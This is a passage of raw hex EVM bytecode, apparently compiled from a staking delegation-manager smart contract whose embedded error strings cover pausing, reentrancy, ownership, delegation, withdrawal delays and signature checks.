505050506040513d601f19601f8201168201806040525081019061110391906154db565b61111f5760405162461bcd60e51b8152600401610ab5906154f8565b606654818116146111985760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6111de6133a7565b61109084848484613401565b6001600160a01b0383166000908152609b602052604081205461120f85828686611b05565b95945050505050565b600054610100900460ff16158080156112385750600054600160ff909116105b806112525750303b158015611252575060005460ff166001145b6112b55760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610ab5565b6000805460ff1916600117905580156112d8576000805461ff0019166101001790555b6112e28888613621565b6112ea61370b565b6097556112f6896137a2565b6112ff866137f4565b61130b85858585613401565b8015611351576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050505050505050565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c91614806113bb5750336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616145b6113d75760405162461bcd60e51b8152600401610ab59061547e565b6113e08361153f565b15611092576001600160a01b038084166000908152609a602052604090205416611090818585856138ee565b6066546002906004908116036114345760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036114865760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c95560005b8881101561152e576115268a8a838181106114ab576114ab6152db565b90506020028101906114bd9190615540565b8989848181106114cf576114cf6152db565b90506020028101906114e19190615348565b8989868181106114f3576114f36152db565b9050602002013588888781811061150c5761150c6152db565b90506020020160208101906115219190615556565b613969565b60010161148e565b5050600160c9555050505050505050565b6001600160a01b039081166000908152609a602052604090205416151590565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156115a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115cb91906154db565b6115e75760405162461bcd60e51b8152600401610ab5906154f8565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60008160405160200161163991906155f2565b604051602081830303815290604052805190602001209050919050565b60665460029060049081160361167e5760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036116d05760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c9556116e28686868686613969565b5050600160c95550505050565b6116f76133a7565b610fdd816137f4565b6001600160a01b039081166000818152609a60205260409020549091161490565b6117296133a7565b61173360006137a2565b565b42836020015110156117b95760405162461bcd60e51b815260206004820152604160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b6572207369676e6174757265206578706972656064820152601960fa1b608482015260a401610ab5565b6117c28561153f565b1561184b5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b657220697320616c726561647920616374697660648201526c195b1e4819195b1959d85d1959609a1b608482015260a401610ab5565b61185484611700565b6118e05760405162461bcd60e51b815260206004820152605160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a206f70657261746f72206973206e6f7420726567697374656064820152703932b21034b71022b4b3b2b72630bcb2b960791b608482015260a401610ab5565b6000609b6000876001600160a01b03166001600160a01b03168152602001908152602001600020549050600061191c8783888860200151611b05565b6001600160a01b0388166000908152609b60205260409020600184019055855190915061194c9088908390614152565b61195887878686612fa0565b50505050505050565b6060600082516001600160401b0381111561197e5761197e614be6565b6040519080825280602002602001820160405280156119a7578160200160208202803683370190505b50905060005b83518110156109be576001600160a01b038516600090815260986020526040812085519091908690849081106119e5576119e56152db565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054828281518110611a2057611a206152db565b60209081029190910101526001016119ad565b611a3c33611700565b611abe5760405162461bcd60e51b815260206004820152604760248201527f44656c65676174696f6e4d616e616765722e7570646174654f70657261746f7260448201527f4d657461646174615552493a2063616c6c6572206d75737420626520616e206f6064820152663832b930ba37b960c91b608482015260a401610ab5565b336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908383604051611af99291906153e8565b60405180910390a25050565b604080517f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b6020808301919091526001600160a01b0387811683850152851660608301526080820186905260a08083018590528351808403909101815260c0909201909252805191012060009081611b7b612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b6040516360f4062b60e01b81526001600160a01b03828116600483015260609182916000917f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6909116906360f4062b90602401602060405180830381865afa158015611c2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c529190615605565b6040516394f649dd60e01b81526001600160a01b03868116600483015291925060009182917f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9909116906394f649dd90602401600060405180830381865afa158015611cc2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611cea919081019061567c565b9150915060008313611d0157909590945092505050565b6060808351600003611dba576040805160018082528183019092529060208083019080368337505060408051600180825281830190925292945090506020808301908036833701905050905073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac082600081518110611d7557611d756152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508481600081518110611da957611da96152db565b602002602001018181525050611f68565b8351611dc7906001615753565b6001600160401b03811115611dde57611dde614be6565b604051908082528060200260200182016040528015611e07578160200160208202803683370190505b50915081516001600160401b03811115611e2357611e23614be6565b604051908082528060200260200182016040528015611e4c578160200160208202803683370190505b50905060005b8451811015611ee657848181518110611e6d57611e6d6152db565b6020026020010151838281518110611e8757611e876152db565b60200260200101906001600160a01b031690816001600160a01b031681525050838181518110611eb957611eb96152db565b6020026020010151828281518110611ed357611ed36152db565b6020908102919091010152600101611e52565b5073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac08260018451611f0b9190615766565b81518110611f1b57611f1b6152db565b60200260200101906001600160a01b031690816001600160a01b031681525050848160018451611f4b9190615766565b81518110611f5b57611f5b6152db565b6020026020010181815250505b9097909650945050505050565b606654606090600190600290811603611fa05760405162461bcd60e51b8152600401610ab5906152f1565b611fa98361153f565b6120295760405162461bcd60e51b8152602060048201526044602482018190527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a207374908201527f616b6572206d7573742062652064656c65676174656420746f20756e64656c656064820152636761746560e01b608482015260a401610ab5565b61203283611700565b156120a55760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a206f7060448201527f657261746f72732063616e6e6f7420626520756e64656c6567617465640000006064820152608401610ab5565b6001600160a01b0383166121215760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6e6e6f7420756e64656c6567617465207a65726f2061646472657373000000006064820152608401610ab5565b6001600160a01b038084166000818152609a6020526040902054909116903314806121545750336001600160a01b038216145b8061217b57506001600160a01b038181166000908152609960205260409020600101541633145b6121ed5760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6c6c65722063616e6e6f7420756e64656c6567617465207374616b65720000006064820152608401610ab5565b6000806121f986611bbe565b9092509050336001600160a01b0387161461224f57826001600160a01b0316866001600160a01b03167ff0eddf07e6ea14f388b47e1e94a0f464ecbd9eed4171130e0fc0e99fb4030a8a60405160405180910390a35b826001600160a01b0316866001600160a01b03167ffee30966a256b71e14bc0ebfc94315e28ef4a97a7131a9e2b7a310a73af4467660405160405180910390a36001600160a01b0386166000908152609a6020526040812080546001600160a01b0319169055825190036122d3576040805160008152602081019091529450612425565b81516001600160401b038111156122ec576122ec614be6565b604051908082528060200260200182016040528015612315578160200160208202803683370190505b50945060005b82518110156124235760408051600180825281830190925260009160208083019080368337505060408051600180825281830190925292935060009291506020808301908036833701905050905084838151811061237b5761237b6152db565b602002602001015182600081518110612396576123966152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508383815181106123c8576123c86152db565b6020026020010151816000815181106123e3576123e36152db565b6020026020010181815250506123fc89878b85856127eb565b88848151811061240e5761240e6152db565b6020908102919091010152505060010161231b565b505b50505050919050565b6124373361153f565b156124b55760405162461bcd60e51b815260206004820152604260248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a20737460448201527f616b657220697320616c7265616479206163746976656c792064656c65676174606482015261195960f21b608482015260a401610ab5565b6124be83611700565b61253f5760405162461bcd60e51b815260206004820152604660248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a206f7060448201527f657261746f72206973206e6f74207265676973746572656420696e2045696765606482015265372630bcb2b960d11b608482015260a401610ab5565b61109233848484612fa0565b61255433611700565b6125d25760405162461bcd60e51b815260206004820152604360248201527f44656c65676174696f6e4d616e616765722e6d6f646966794f70657261746f7260448201527f44657461696c733a2063616c6c6572206d75737420626520616e206f706572616064820152623a37b960e91b608482015260a401610ab5565b610fdd3382612dad565b6125e46133a7565b6001600160a01b0381166126495760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab5565b610fdd816137a2565b60007f0000000000000000000000000000000000000000000000000000000000007a694603612682575060975490565b61268a61370b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127069190615417565b6001600160a01b0316336001600160a01b0316146127365760405162461bcd60e51b8152600401610ab590615434565b6066541981196066541916146127b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016111cb565b60006001600160a01b0386166128825760405162461bcd60e51b815260206004820152605060248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374616b65722063616e6e6f7460648201526f206265207a65726f206164647265737360801b608482015260a401610ab5565b825160000361290f5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374726174656769657320636160648201526c6e6e6f7420626520656d70747960981b608482015260a401610ab5565b60005b8351811015612cbb576001600160a01b03861615612968576129688688868481518110612941576129416152db565b602002602001015186858151811061295b5761295b6152db565b602002602001015161332c565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06001600160a01b0316848281518110612998576129986152db565b60200260200101516001600160a01b031603612a60577f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031663beffbb89888584815181106129f0576129f06152db565b60200260200101516040518363ffffffff1660e01b8152600401612a299291906001600160a01b03929092168252602082015260400190565b600060405180830381600087803b158015612a4357600080fd5b505af1158015612a57573d6000803e3d6000fd5b50505050612cb3565b846001600160a01b0316876001600160a01b03161480612b3257507f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b0316639b4da03d858381518110612abc57612abc6152db565b60200260200101516040518263ffffffff1660e01b8152600401612aef91906001600160a01b0391909116815260200190565b602060405180830381865afa158015612b0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b3091906154db565b155b612bfe5760405162461bcd60e51b8152602060048201526084602482018190527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448301527f6e6451756575655769746864726177616c3a2077697468647261776572206d7560648301527f73742062652073616d652061646472657373206173207374616b657220696620908201527f746869726450617274795472616e7366657273466f7262696464656e2061726560a482015263081cd95d60e21b60c482015260e401610ab5565b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b0316638c80d4e588868481518110612c4057612c406152db565b6020026020010151868581518110612c5a57612c5a6152db565b60200260200101516040518463ffffffff1660e01b8152600401612c8093929190615779565b600060405180830381600087803b158015612c9a57600080fd5b505af1158015612cae573d6000803e3d6000fd5b505050505b600101612912565b506001600160a01b0386166000908152609f60205260408120805491829190612ce38361579d565b919050555060006040518060e00160405280896001600160a01b03168152602001886001600160a01b03168152602001876001600160a01b031681526020018381526020014363ffffffff1681526020018681526020018581525090506000612d4b82611626565b6000818152609e602052604090819020805460ff19166001179055519091507f9009ab153e8014fbfb02f2217f5cde7aa7f9ad734ae85ca3ee3f4ca2fdd499f990612d9990839085906157b6565b60405180910390a198975050505050505050565b6213c680612dc160608301604084016157cf565b63ffffffff161115612e765760405162461bcd60e51b815260206004820152606c60248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527f63616e6e6f74206265203e204d41585f5354414b45525f4f50545f4f55545f5760848201526b494e444f575f424c4f434b5360a01b60a482015260c401610ab5565b6001600160a01b0382166000908152609960205260409081902060010154600160a01b900463ffffffff1690612eb290606084019084016157cf565b63ffffffff161015612f485760405162461bcd60e51b815260206004820152605360248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527218d85b9b9bdd08189948191958dc99585cd959606a1b608482015260a401610ab5565b6001600160a01b03821660009081526099602052604090208190612f6c828261580c565b505060405133907ffebe5cd24b2cbc7b065b9d0fdeb904461e4afcff57dd57acda1e7832031ba7ac90611af9908490615391565b606654600090600190811603612fc85760405162461bcd60e51b8152600401610ab5906152f1565b6001600160a01b03808516600090815260996020526040902060010154168015801590612ffe5750336001600160a01b03821614155b80156130135750336001600160a01b03861614155b156131805742846020015110156130925760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f766572207369676e617475726520657870697265640000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845290915290205460ff161561312c5760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f76657253616c7420616c7265616479207370656e740000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845282528220805460ff1916600117905585015161316d9088908890859088906109c8565b905061317e82828760000151614152565b505b6001600160a01b038681166000818152609a602052604080822080546001600160a01b031916948a169485179055517fc3ee9f2e5fda98e8066a1f745b2df9285f416fe98cf2559cd21484b3d87433049190a36000806131df88611bbe565b9150915060005b82518110156113515761322d888a858481518110613206576132066152db565b6020026020010151858581518110613220576132206152db565b60200260200101516138ee565b6001016131e6565b6001600160a01b0381166132c35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610ab5565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613363908490615766565b92505081905550836001600160a01b03167f6909600037b75d7b4733aedd815442b5ec018a827751c832aaff64eba5d6d2dd848484604051610f1f93929190615779565b6033546001600160a01b031633146117335760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ab5565b8281146134895760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a20696e707574206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a401610ab5565b8260005b818110156136195760008686838181106134a9576134a96152db565b90506020020160208101906134be919061499b565b6001600160a01b038116600090815260a160205260408120549192508686858181106134ec576134ec6152db565b90506020020135905062034bc08111156135b05760405162461bcd60e51b815260206004820152607360248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a205f7769746864726177616c60648201527f44656c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544860848201527244524157414c5f44454c41595f424c4f434b5360681b60a482015260c401610ab5565b6001600160a01b038316600081815260a160209081526040918290208490558151928352820184905281018290527f0e7efa738e8b0ce6376a0c1af471655540d2e9a81647d7b09ed823018426576d9060600160405180910390a150505080600101905061348d565b505050505050565b6065546001600160a01b031615801561364257506001600160a01b03821615155b6136c45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261370782613235565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b62034bc08111156138ad5760405162461bcd60e51b815260206004820152607160248201527f44656c65676174696f6e4d616e616765722e5f7365744d696e5769746864726160448201527f77616c44656c6179426c6f636b733a205f6d696e5769746864726177616c446560648201527f6c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544844526084820152704157414c5f44454c41595f424c4f434b5360781b60a482015260c401610ab5565b609d5460408051918252602082018390527fafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69910160405180910390a1609d55565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613925908490615753565b92505081905550836001600160a01b03167f1ec042c965e2edd7107b51188ee0f383e22e76179041ab3a9d18ff151405166c848484604051610f1f93929190615779565b60006139776105f38761586f565b6000818152609e602052604090205490915060ff166139f85760405162461bcd60e51b8152602060048201526043602482015260008051602061599983398151915260448201527f645769746864726177616c3a20616374696f6e206973206e6f7420696e20717560648201526265756560e81b608482015260a401610ab5565b609d544390613a0d60a0890160808a016157cf565b63ffffffff16613a1d9190615753565b1115613aa55760405162461bcd60e51b815260206004820152605f602482015260008051602061599983398151915260448201527f645769746864726177616c3a206d696e5769746864726177616c44656c61794260648201527f6c6f636b7320706572696f6420686173206e6f74207965742070617373656400608482015260a401610ab5565b613ab5606087016040880161499b565b6001600160a01b0316336001600160a01b031614613b425760405162461bcd60e51b8152602060048201526050602482015260008051602061599983398151915260448201527f645769746864726177616c3a206f6e6c7920776974686472617765722063616e60648201526f1031b7b6b83632ba329030b1ba34b7b760811b608482015260a401610ab5565b8115613bc457613b5560a0870187615348565b85149050613bc45760405162461bcd60e51b8152602060048201526042602482015260008051602061599983398151915260448201527f645769746864726177616c3a20696e707574206c656e677468206d69736d61746064820152610c6d60f31b608482015260a401610ab5565b6000818152609e60205260409020805460ff191690558115613d295760005b613bf060a0880188615348565b9050811015613d23574360a16000613c0b60a08b018b615348565b85818110613c1b57613c1b6152db565b9050602002016020810190613c30919061499b565b6001600160a01b03168152602081019190915260400160002054613c5a60a08a0160808b016157cf565b63ffffffff16613c6a9190615753565b1115613c885760405162461bcd60e51b8152600401610ab59061587b565b613d1b613c98602089018961499b565b33613ca660a08b018b615348565b85818110613cb657613cb66152db565b9050602002016020810190613ccb919061499b565b613cd860c08c018c615348565b86818110613ce857613ce86152db565b905060200201358a8a87818110613d0157613d016152db565b9050602002016020810190613d16919061499b565b61430c565b600101613be3565b50614117565b336000908152609a60205260408120546001600160a01b0316905b613d5160a0890189615348565b9050811015614114574360a16000613d6c60a08c018c615348565b85818110613d7c57613d7c6152db565b9050602002016020810190613d91919061499b565b6001600160a01b03168152602081019190915260400160002054613dbb60a08b0160808c016157cf565b63ffffffff16613dcb9190615753565b1115613de95760405162461bcd60e51b8152600401610ab59061587b565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0613e0b60a08a018a615348565b83818110613e1b57613e1b6152db565b9050602002016020810190613e30919061499b565b6001600160a01b031603613f7f576000613e4d60208a018a61499b565b905060006001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616630e81073c83613e8e60c08e018e615348565b87818110613e9e57613e9e6152db565b6040516001600160e01b031960e087901b1681526001600160a01b03909416600485015260200291909101356024830152506044016020604051808303816000875af1158015613ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f169190615605565b6001600160a01b038084166000908152609a6020526040902054919250168015613f7757613f778184613f4c60a08f018f615348565b88818110613f5c57613f5c6152db565b9050602002016020810190613f71919061499b565b856138ee565b50505061410c565b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b031663c4623ea133898985818110613fc157613fc16152db565b9050602002016020810190613fd6919061499b565b613fe360a08d018d615348565b86818110613ff357613ff36152db565b9050602002016020810190614008919061499b565b61401560c08e018e615348565b87818110614025576140256152db565b60405160e088901b6001600160e01b03191681526001600160a01b03968716600482015294861660248601529290941660448401526020909102013560648201526084019050600060405180830381600087803b15801561408557600080fd5b505af1158015614099573d6000803e3d6000fd5b505050506001600160a01b0382161561410c5761410c82336140be60a08c018c615348565b858181106140ce576140ce6152db565b90506020020160208101906140e3919061499b565b6140f060c08d018d615348565b86818110614100576141006152db565b905060200201356138ee565b600101613d44565b50505b6040518181527fc97098c2f658800b4df29001527f7324bcdffcf6e8751a699ab920a1eced5b1d9060200160405180910390a1505050505050565b6001600160a01b0383163b1561426c57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e906141929086908690600401615903565b602060405180830381865afa1580156141af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141d39190615958565b6001600160e01b031916146110925760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610ab5565b826001600160a01b0316614280838361444c565b6001600160a01b0316146110925760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610ab5565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeabf196001600160a01b038416016143b75760405162387b1360e81b81526001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6169063387b13009061438090889088908790600401615779565b600060405180830381600087803b15801561439a57600080fd5b505af11580156143ae573d6000803e3d6000fd5b50505050614445565b60405163c608c7f360e01b81526001600160a01b03858116600483015284811660248301526044820184905282811660648301527f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9169063c608c7f390608401600060405180830381600087803b15801561443157600080fd5b505af1158015611351573d6000803e3d6000fd5b5050505050565b600080600061445b8585614468565b915091506109be816144d6565b600080825160410361449e5760208301516040840151606085015160001a6144928782858561468c565b945094505050506144cf565b82516040036144c757602083015160408401516144bc868383614779565b9350935050506144cf565b506000905060025b9250929050565b60008160048111156144ea576144ea615982565b036144f25750565b600181600481111561450657614506615982565b036145535760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610ab5565b600281600481111561456757614567615982565b036145b45760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610ab5565b60038160048111156145c8576145c8615982565b036146205760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610ab5565b600481600481111561463457614634615982565b03610fdd5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610ab5565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156146c35750600090506003614770565b8460ff16601b141580156146db57508460ff16601c14155b156146ec5750600090506004614770565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015614740573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661476957600060019250925050614770565b9150600090505b94509492505050565b6000806001600160ff1b0383168161479660ff86901c601b615753565b90506147a48782888561468c565b935093505050935093915050565b60008083601f8401126147c457600080fd5b5081356001600160401b038111156147db57600080fd5b6020830191508360208260051b85010111156144cf57600080fd5b6000806020838503121561480957600080fd5b82356001600160401b0381111561481f57600080fd5b61482b858286016147b2565b90969095509350505050565b6001600160a01b0381168114610fdd57600080fd5b803561485781614837565b919050565b600080600080600060a0868803121561487457600080fd5b853561487f81614837565b9450602086013561488f81614837565b9350604086013561489f81614837565b94979396509394606081013594506080013592915050565b602080825282518282018190526000918401906040840190835b81811015610ddd5783518352602093840193909201916001016148d1565b60006060828403121561490157600080fd5b50919050565b60008083601f84011261491957600080fd5b5081356001600160401b0381111561493057600080fd5b6020830191508360208285010111156144cf57600080fd5b60008060006080848603121561495d57600080fd5b61496785856148ef565b925060608401356001600160401b0381111561498257600080fd5b61498e86828701614907565b9497909650939450505050565b6000602082840312156149ad57600080fd5b81356149b881614837565b9392505050565b6000806000606084860312156149d457600080fd5b83356149df81614837565b925060208401356149ef81614837565b929592945050506040919091013590565b600060208284031215614a1257600080fd5b5035919050565b60008060008060408587031215614a2f57600080fd5b84356001600160401b03811115614a4557600080fd5b614a51878288016147b2565b90955093505060208501356001600160401b03811115614a7057600080fd5b614a7c878288016147b2565b95989497509550505050565b60008060008060008060008060c0898b031215614aa457600080fd5b8835614aaf81614837565b97506020890135614abf81614837565b9650604089013595506060890135945060808901356001600160401b03811115614ae857600080fd5b614af48b828c016147b2565b90955093505060a08901356001600160401b03811115614b1357600080fd5b614b1f8b828c016147b2565b999c989b5096995094979396929594505050565b6000806000806000806000806080898b031215614b4f57600080fd5b88356001600160401b03811115614b6557600080fd5b614b718b828c016147b2565b90995097505060208901356001600160401b03811115614b9057600080fd5b614b9c8b828c016147b2565b90975095505060408901356001600160401b03811115614bbb57600080fd5b614bc78b828c016147b2565b90955093505060608901356001600160401b03811115614b1357600080fd5b634e487b7160e01b600052604160045260246000fd5b60405160e081016001600160401b0381118282101715614c1e57614c1e614be6565b60405290565b604080519081016001600160401b0381118282101715614c1e57614c1e614be6565b604051601f8201601f191681016001600160401b0381118282101715614c6e57614c6e614be6565b604052919050565b63ffffffff81168114610fdd57600080fd5b803561485781614c76565b60006001600160401b03821115614cac57614cac614be6565b5060051b60200190565b600082601f830112614cc757600080fd5b8135614cda614cd582614c93565b614c46565b8082825260208201915060208360051b860101925085831115614cfc57600080fd5b602085015b83811015614d22578035614d1481614837565b835260209283019201614d01565b5095945050505050565b600082601f830112614d3d57600080fd5b8135614d4b614cd582614c93565b8082825260208201915060208360051b860101925085831115614d6d57600080fd5b602085015b83811015614d22578035835260209283019201614d72565b600060e08284031215614d9c57600080fd5b614da4614bfc565b9050614daf8261484c565b8152614dbd6020830161484c565b6020820152614dce6040830161484c565b604082015260608281013590820152614de960808301614c88565b608082015260a08201356001600160401b03811115614e0757600080fd5b614e1384828501614cb6565b60a08301525060c08201356001600160401b03811115614e3257600080fd5b614e3e84828501614d2c565b60c08301525092915050565b600060208284031215614e5c57600080fd5b81356001600160401b03811115614e7257600080fd5b614e7e84828501614d8a565b949350505050565b600060208284031215614e9857600080fd5b813560ff811681146149b857600080fd5b8015158114610fdd57600080fd5b600080600080600060808688031215614ecf57600080fd5b85356001600160401b03811115614ee557600080fd5b860160e08189031215614ef757600080fd5b945060208601356001600160401b03811115614f1257600080fd5b614f1e888289016147b2565b909550935050604086013591506060860135614f3981614ea9565b809150509295509295909350565b60008060408385031215614f5a57600080fd5b8235614f6581614837565b91506020830135614f7581614837565b809150509250929050565b600060408284031215614f9257600080fd5b614f9a614c24565b905081356001600160401b03811115614fb257600080fd5b8201601f81018413614fc357600080fd5b80356001600160401b03811115614fdc57614fdc614be6565b614fef601f8201601f1916602001614c46565b81815285602083850101111561500457600080fd5b81602084016020830137600060209282018301528352928301359282019290925292915050565b600080600080600060a0868803121561504357600080fd5b853561504e81614837565b9450602086013561505e81614837565b935060408601356001600160401b0381111561507957600080fd5b61508588828901614f80565b93505060608601356001600160401b038111156150a157600080fd5b6150ad88828901614f80565b95989497509295608001359392505050565b600080604083850312156150d257600080fd5b82356150dd81614837565b915060208301356001600160401b038111156150f857600080fd5b61510485828601614cb6565b9150509250929050565b600081518084526020840193506020830160005b82811015615140578151865260209586019590910190600101615122565b5093949350505050565b6020815260006149b8602083018461510e565b6000806020838503121561517057600080fd5b82356001600160401b0381111561518657600080fd5b61482b85828601614907565b600080604083850312156151a557600080fd5b82356151b081614837565b946020939093013593505050565b600080600080608085870312156151d457600080fd5b84356151df81614837565b93506020850135925060408501356151f681614837565b9396929550929360600135925050565b600081518084526020840193506020830160005b828110156151405781516001600160a01b031686526020958601959091019060010161521a565b6040815260006152546040830185615206565b828103602084015261120f818561510e565b60008060006060848603121561527b57600080fd5b833561528681614837565b925060208401356001600160401b